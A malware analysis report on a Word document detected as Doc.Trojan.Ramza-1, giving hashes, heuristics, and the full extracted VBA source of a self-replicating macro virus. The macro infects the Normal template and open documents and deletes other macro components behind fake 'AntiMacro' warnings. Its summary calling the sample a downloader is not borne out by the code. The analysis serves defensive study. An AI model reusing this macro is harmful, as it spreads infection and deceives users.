Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7063bd13be530322…

MALICIOUS

Office (OLE)

31.0 KB Created: 1997-09-17 03:18:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: bcdb1fe387cb958e83385e3dafd7ea44 SHA-1: c0e1fe1d7626a55dff6257b749fa1166779b1f44 SHA-256: 7063bd13be530322706690fdedec16253616b19ae6369aa3567cbc19209dd744
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro attempts to write its code to 'c:\windows\scandisk.log' and then load it from there, suggesting it's a downloader or dropper for a secondary payload. The ClamAV detection 'Doc.Trojan.Ramza-1' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Ramza-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ramza-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2199 bytes
SHA-256: 6594dc344c59c9fa6429c4f41fbf8a9648aa8da7c3c7d2d830061ea6ff552567
Detection
ClamAV: Doc.Trojan.Ramza-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit


Const Azmar = "The Azmar"
Dim Normal, Active As Object
Dim Code, Macro, Nome As String
Dim Lines As Integer
Dim Contaminado As Boolean
Private Sub Document_Open()
On Error Resume Next
Set Normal = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set Active = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule

If Not Active.Find(Azmar, 1, 1, 100, 100) Then
 Macro = Normal.Lines(1, Normal.CountOfLines)
 Lines = Normal.CountOfLines
Else
 Macro = Active.Lines(1, Active.CountOfLines)
 Lines = Active.CountOfLines
End If

Open "c:\windows\scandisk.log" For Output As #1
Print #1, Macro
Close #1

If Not Normal.Find(Azmar, 1, 1, 100, 100) Then
 Normal.DeleteLines 1, Lines
 Normal.AddFromFile ("c:\windows\scandisk.log")
 NormalTemplate.Save
End If

End Sub
Private Sub Document_Close()
On Error Resume Next
Set Active = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Lines = Active.CountOfLines
If Not Active.Find(Azmar, 1, 1, 100, 100) Then
 Active.DeleteLines 1, Lines
 Active.AddFromFile ("c:\windows\scandisk.log")
 ActiveDocument.Save
End If

Contaminado = False
For Code = NormalTemplate.VBProject.VBComponents.Count To 2 Step -1
 Nome = NormalTemplate.VBProject.VBComponents(Code).Name
 MsgBox "Possível vírus! " & Nome & " pronto para remoção!", , "AntiMacro - By Pacheco"
 NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents(Code)
Next

If Contaminado Then
 NormalTemplate.Save
End If

Contaminado = False
For Code = ActiveDocument.VBProject.VBComponents.Count To 2 Step -1
 Nome = ActiveDocument.VBProject.VBComponents(Code).Name
 MsgBox "Possível vírus! " & Nome & " pronto para remoção!", , "AntiMacro - By Pacheco"
 ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents(Code)
 Contaminado = True
Next

If Contaminado Then
 ActiveDocument.Save
End If

End Sub